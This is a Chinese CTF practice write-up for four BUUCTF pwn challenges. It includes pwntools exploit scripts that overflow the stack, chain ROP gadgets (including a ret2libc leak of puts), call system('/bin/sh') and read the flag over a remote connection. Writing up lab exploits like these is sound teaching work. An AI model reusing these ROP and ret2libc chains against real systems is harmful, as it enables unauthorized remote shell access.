PWN-PRACTICE-BUUCTF-5

  • jarvisoj_level2_x64
  • ciscn_2019_n_5
  • others_shellcode
  • ciscn_2019_ne_5

jarvisoj_level2_x64

这题和[HarekazeCTF2019]baby_rop几乎一模一样

from pwn import *
#context.log_level="debug"
io=remote('node4.buuoj.cn',27023)
elf=ELF('./level2_x64')
io.recvuntil("Input:\n")
pop_rdi_ret=0x00000000004006b3
ret=0x00000000004004a1
system=elf.plt['system']
main=0x0000000000400620
binsh=0x0000000000600A90
payload="a"*(128+8)+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(main)
io.sendline(payload)
io.sendline("cat flag")
io.interactive()

ciscn_2019_n_5

栈溢出ret2libc

from pwn import *
context.log_level="debug"
io=remote('node4.buuoj.cn',27687)
elf=ELF("./ciscn_2019_n_5")
libc=ELF("./libc-2.27-18-x64.so")
io.recvuntil("your name\n")
io.sendline("p1umh0")
io.recvuntil("say to me?\n")
pop_rdi_ret=0x0000000000400713
puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
main=0x0000000000400636
ret=0x00000000004004c9
payload="a"*(30+2+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload)
puts_addr=u64(io.recvuntil("\n",drop=True).ljust(8,"\x00"))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym["puts"]
system=libc_base+libc.sym["system"]
binsh=libc_base+libc.search("/bin/sh").next()
payload_2="a"*(30+2+8)+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(main)
io.recvuntil("your name\n")
io.sendline("p1umh0")
io.recvuntil("say to me?\n")
io.sendline(payload_2)
io.sendline("cat flag")
io.interactive()

others_shellcode

程序在getShell函数中执行了系统调用,execve("/bin/sh"),nc连接上直接cat flag即可

ciscn_2019_ne_5

case 1的AddLog读取数据,最大长度128
case 4的GetFlag将读取的数据拷贝到dest,于是可以构成栈溢出

程序包含了system,找一个"/bin/sh"或者"sh"来用

p1umh0@p1umh0:~/ctf/pwn$ ROPgadget --binary ciscn_2019_ne_5 --string "/bin/sh"
Strings information
============================================================
p1umh0@p1umh0:~/ctf/pwn$ ROPgadget --binary ciscn_2019_ne_5 --string "sh"
Strings information
============================================================
0x080482ea : sh

覆盖eip到system

from pwn import *
io=remote('node4.buuoj.cn',29535)
elf=ELF('./ciscn_2019_ne_5')
io.recvuntil("password:")
io.sendline("administrator")
io.recvuntil("0.Exit\n:")
io.sendline("1")
io.recvuntil("log info:")
system=elf.plt['system']
main=0x08048722
sh=0x080482ea
payload="a"*(0x48+4)+p32(system)+p32(main)+p32(sh)
io.sendline(payload)
io.recvuntil("0.Exit\n:")
io.sendline("4")
io.sendline("cat flag")
io.interactive()

PWN-PRACTICE-BUUCTF-5相关推荐

  1. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  2. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  3. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  4. [PWN] BUUCTF jarvisoj_fm

    [PWN] BUUCTF jarvisoj_fm 按照惯例checksec ,开启了relro,canary,nx 执行程序,观察程序的逻辑,在打印出输入的字符后,会打印出3! 32IDA打开查看主要 ...

  5. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  6. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  7. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  8. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  9. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  10. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

最新文章

  1. linux getty进程 cpu占用过高 解决办法
  2. WPF获取鼠标相对于屏幕的绝对位置
  3. caffe error: #error This file requires compiler and library support for the ISO C++ 2011 standard
  4. vba 执行网页javascript_JavaScript秘密笔记 第一集
  5. 2021年中国电动吸引器市场趋势报告、技术动态创新及2027年市场预测
  6. python从零学——scrapy初体验
  7. php 三个等号与两个等号,浅析JavaScript和PHP中三个等号(===)和两个等号(==)的区别...
  8. 揭秘盒马鲜生,如何打破收益增长天花板!
  9. 神经网络优化中的病态问题
  10. slam的回顾(一)
  11. 小米路由器MINI架设WEB服务
  12. WordPress资源源码网站源码下载/整站打包【带1200数据】
  13. matlab中怎么计算信噪比,如何计算通信中的信噪比SNR
  14. 黑马程序员---visual studio 快捷键大全
  15. 时间序列分析之GARCH模型介绍与应用
  16. 【应用案例】资产监测设备助力大棚月季花种植
  17. [ScyllaHide] 02 InjectorCLI源码分析
  18. python中函数的学习
  19. 深入 AXI4总线 (四):RAM 读取实战
  20. 设计电商网站必看,如何改善用户体验

热门文章

  1. ContentType的类型
  2. Android-Animations的使用大全之二:Frame Animation和其他
  3. Rails 3.1 CoffeeScript SASS初体验
  4. 【数据结构与算法】字符串匹配 BF算法 RK算法
  5. Codeforces Round #413 C-Fountains 树状数组
  6. mysql日期格式化季度_mysql按年度、季度、月度、周、日统计查询的sql语句
  7. oracle字段加约束,Oracle数据库的字段约束创建和维护示例
  8. 计算机excel知识点一级,2012年计算机一级考试高分必看知识点:EXCEL
  9. java multimap 序列化_C++ JSON库的使用
  10. 服务器驱动精灵_驱动精灵真的可以帮你安装驱动吗?别再无脑装驱动了